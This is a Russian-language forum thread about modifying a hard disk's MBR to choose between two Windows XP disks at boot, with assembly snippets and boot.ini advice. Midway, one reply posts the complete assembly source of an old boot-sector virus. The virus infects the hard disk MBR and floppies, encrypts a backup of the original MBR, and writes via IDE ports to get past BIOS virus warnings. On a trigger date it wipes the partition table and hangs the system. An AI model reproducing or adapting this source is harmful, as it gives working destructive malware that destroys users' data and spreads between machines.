Собственно говоря вопрос такой. Была Винда, и на ней был харддиск 120 Гь. Винт убрали и поставили новый 250, на него тоже винду XP поставили.Через какое то время,решили старый обратно. Поставили старый винт назад мастером на IDE2. Естественно комп запускается с нового, или в биосе переключаем что бы стартовал со второго. Собственно говоря вопрос такой.Хочу модифицировать 1-й сектор 1-го винта. Используя два сервиса биоса int13 int16 Допустим первый загрузочный диск , который на IDE- Модифицируем его MBR, так, что бы у нас была возможность выбора. int13 используем это прерывание для выбора диска. Остановив выполнение кода MBR , непосредственно перед передачей управления NTLDR и выводя сообшение типа Нажмите С или D. примерно так : Условие -если "С" нажали -выполняется дальше загрузка Если "D", тогда выбираем второй винт и начинаем читать сектор 1 и затем грузим его в память в тот же 07С0 и передаем управление типа такого CLi ;остановим все прерывания push ax ; сохраним значения регистров данных кода и стека push ...... ....... ...... Press_key: sti mov ax,0 ; Выводим на экран Press D or C int 16h ; cmp ah,2eh ; "C" je DISK D: cmp ah,20h ; "D" je DISK C: jmp short press_key ; ни та ни та буква, новый запрос mess_4 db 'Press: [D] or [C]ґ,0 С: ;Восстановим регистры, pop ax ......... Если выбран первый диск (80h) код выполняется дальше , Если выбран второй, используя int13 выбираем вторую фестплату и загружаем в память по тому же адресу 07С0 куда грузится MBR первого диска, MBR второго (81h). mov Ah,02H ;читаем mov Dl,81h винт второй mov Cl,1 наш сектор int13 все наш MBR2 лежит в буфере ES:BX Места в первом секторе много, если ужать немного, выкинуть всякие системные сообшения, то байт 200 будет свободно. Какие будут мысли. Осушествимо так сделать ?
Конечно осуществимо, токо проверку необходимо делать в самом начале после перенесения его на нижние адреса Код (Text): org 7C00h xor ax, ax mov ss, ax mov sp, 7C00h sti push ax pop es push ax pop ds cld mov si, 7C1Bh mov di, 61Bh push ax push di mov cx, (200h-1bh) rep movsb retf org 61Bh ;вот сюда добавь проверку mov bp, 7BEh mov cl, 4
Необходимо поправить обработчик int13, поменять в его начале при операции чтения первый диск со вторым (если передаль 80h, оригинальному обработчику пережать 81h и наоборот) так как оригинальный обработчик далее будет работать с первым диском (то есть 80h).
Vov4ick если бы он грузился как обычно ничего же править не надо, так что он должен както отличать где он висит
Я имел ввиду, обработчик надо править при загрузке со второго диска. (то есть с диска, отличного от выбранного биосом)
Если ничего из предложенного выше не помогло можно воспользоваться NTLDR'ом, подправив соответственно boot.ini.
спасибо всем кто откликнулся. ESc или F8 меня не устраивают - они не работают. Boot.ini тоже не подправить .У меня 2 диска с активными разделами.Причем в каждом свой MBR , если бы я подключил оба диска , а потом по очереди ставил бы винду, на первый а потом на второй, то Хрюша сама бы позаботилась. А тут когда ставилась вторая винда, первого диска с виндой уже не было, и вторая ничего не знала о сушествовании первой. Rudik что ты имеешь ввиду " проверку делать в самом начале после перенесения на нижние адреса" , то есть туда куда MBr с себя копию делает ? Почему именно org 61Bh ?
Izza На вот тебе вирусу древнюю, как раз по твоей теме. Думаю этого сорца достаточно вполне. Код (Text): .286 .model tiny .code org 600h ;{--------------- 1-Я ПОЛОВИНА ТЕЛА ВИРУСА ------------------------} begin_v_code: jmp short start_encrypt ;{----------- место для PBP дискеты ------------} org 636h start_encrypt: mov si,7c00h ; 1-я половина тела вируса перекачиваем mov di,600h xor ax,ax mov ds,ax mov ax,2000h mov es,ax mov ss,ax mov sp,0fffeh mov cx,100h cld repnz ; из 0000:7с00h -br-> 2000h:0600h movsw mov ds,ax push ds push offset real_v_start sti retf real_v_start: ;{------------ searching for disks ---------------} ;{ <- where loaded from ? -> } cmp dl,80h jb from_floppy_to_hard jmp from_hard_to_floppy from_floppy_to_hard: ;{fdd -v-> hdd} ; считываем оригинальный MBR в буффер вируса mov dl,[HDD] ; первый диск mov ah,02h mov cl,1 lea bx,disk_buffer call @@sector_operator jnc @@Next_half jmp shotdown_v ; если не получилость то завершить систему @@next_half: ; считываем вторую половину вируса из конца дискеты ; 2 секторa 79\01\17 - 18 mov dx,0100h mov ch,79 mov cl,17 mov ax,0202h lea bx,disk_buffer+512 dw 13cdh jnc @@more jmp shotdown_v @@more: ;{маленькая доработка: проверим наличие вируса в секторе } ; cmp byte ptr cs:[disk_buffer+17ch],42h ; je can_not_read_floppy ; {затрем BPB чтоб не вызывать подозрений} ; cld ; mov cx,32h ; mov si,offset disk_buffer+38h ; push 0 ; pop es ; mov di,7c02h ; repnz ; movsb ;{запишем v без таблицы разделов в сектор 0/0/62} mov bx,7c00h mov ah,3 mov cl,62 call @@sector_operator jnc no_mbr_written jmp shotdown_v no_mbr_written: ;{теперь у нас всё готово и так как мы пишемся в MBR винчестера} ;{то необходимо переписать таблицу разделов в буффер по адресу } ;{0000h:7c00h а точнее по смещению 7c00h+1beh } ;{таблицу разделов качаем с адреса cs:[disk_buffer+1beh] } ;{до адреса 0000:7c00h+1beh ds:si-pt->es:di } cli cld mov cx,40h mov si,offset disk_buffer+1beh mov di,7c00h+1beh repnz movsb sti ;{а теперь запишем v с таблицей разделов в сектор 0/0/61} mov bx,7c00h mov ah,3 mov cl,61 call @@sector_operator jnc _mbr_written jmp shotdown_v _mbr_written: ;{зашифруем резервный сектор 0\0\63 } push cs pop es mov cx,512 mov bx,offset disk_buffer b_loop: xor byte ptr es:[bx],0a5h inc bx loop b_loop mov ah,3 mov cl,63 lea bx,disk_buffer ;{переписали первичный сектор диска из буффера} call @@sector_operator jnc ok_reserved_sector_written jmp shotdown_v ok_reserved_sector_written: ;{и так, будем надеяться что всё получилось и таблица разделов } ;{находится там где она и должна быть то есть 1beh } ;{а теперь запишем укомплектованный вирус куда надо -> в MBR ! } call @@write_hdd_by_ports can_not_read_floppy: push 0 pop es mov dl,80h mov cl,63 mov bx,7c00h mov ah,2 call @@sector_operator ;{расшифруем сектор 0\0\63 } mov cx,512 c_loop: xor byte ptr es:[bx],0a5h inc bx loop c_loop ;{передаём ему управление } mov bx,7c00h push es push bx retf ;{попытка удалась, система загрузилась с оригинального MBR 0\0\63 } from_hard_to_floppy: ;{зарезервировано под запись вируса с жесткого диска} ;{в сектор 0\0\1 дискеты. Все же какой нибудь } ;{д...... забудет вынуть её из дисковода во время } ;{ hdd -v-> fdd} ;{читаем дискету в буффер вируса } xor dl,dl mov cl,1 mov ah,2 lea bx,disk_buffer call @@sector_operator jnc just_read_floppy jmp get_jujment_day just_read_floppy: ;{прочитали дискету в буффер вируса } ;{теперь прокачаем BPB из буффера вируса в буффер } ;{по адресу 0000:7c03h } mov cx,33h cld push cs pop ds lea si,disk_buffer push 0 pop es mov di,7c00h repnz movsb ;{затрем таблицу разделов чтоб не вызывать подозрений} mov cx,40h lea si,disk_buffer+50h mov di,7c00h+1beh repnz movsb ;{переписали BPB по буфферам и можно двигать дальше } ;{теперь переписываемся на дискету } mov ah,3 mov cl,1 mov bx,7c00h call @@sector_operator ;{получилось или нет неважно } ;{основные операции завершены. } ;{теперь самое время сделать какую-нибудь гадость } ;{1. получим день инсталяции вируса } get_jujment_day: mov ah,04h int 1ah jnc compare_day jmp can_not_read_floppy compare_day: cmp dh,07h jae crack_system cmp dl,17h je compare_hour jmp restore_system compare_hour: mov ah,02h int 1ah jnc compare_houres jmp can_not_read_floppy compare_houres: cmp ch,08h jb restore_system cmp ch,10h ja restore_system crack_system: ;{замена MBR без таблицы разделов} mov cl,62 call crack_restore mov dx, 3d4h mov al, 17h out dx, al inc dx in al, dx and al, NOT 80h out dx, al cli flash_loop: jmp short flash_loop ;{ холостой ход системы } restore_system: ;{восстановление MBR } mov cl,61 call crack_restore jmp can_not_read_floppy shotdown_v: ;{общесистемная ошибка надо подумать чё делать} mov ah,0feh ;{придумал: reload system} out 64h,al hlt crack_restore proc near mov ah,2 mov bx,7c00h push 0 pop es mov dl,80h call @@sector_operator call @@write_hdd_by_ports retn endp @@sector_operator proc near ;{ - dl number of disk - ah function } mov al,01h ;{ - bx buffer } xor dh,dh xor ch,ch int 13h retn endp ;{-------------- область констант вируса ----------------------} HDD db 80h ;{-------------------------------------------------------------} org 7beh db 40h dup('p') ; таблица разделов org 7feh dw 0aa55h ;{----------------- ВТОРАЯ ПОЛОВИНА ВИРУСА -----------------------} ;{--------- procedures ----------} ;{ ПРОТИВ BIOS VIRUS WARNING !!} @@write_hdd_by_ports proc near ;{ds:si - buffer } ;{writting HDD 0 on chanel 1} cli pusha mov dx,1f2h mov al,1 out dx,al dec al inc dx out dx,al inc dx out dx,al inc dx out dx,al mov dx,1f7h mov al,0c5h out dx,al mov dx,1f0h mov cx,100h mov si,7c00h push 0 pop ds cld rep outsw popa sti retn endp org 9feh dw 0200h disk_buffer: ;{дисковый буффер} end begin_v_code
Izza Ну и что, что там своя MBR? NTLDR'у, в принципе, все равно откуда грузить Win. Подробнее об этом можно почитать здесь.
Не понял - так кто мешает boot.ini поправить, чтобы было приглашение на обе винды? ЗЫ - Кто когда и как ставился, значения не имеет.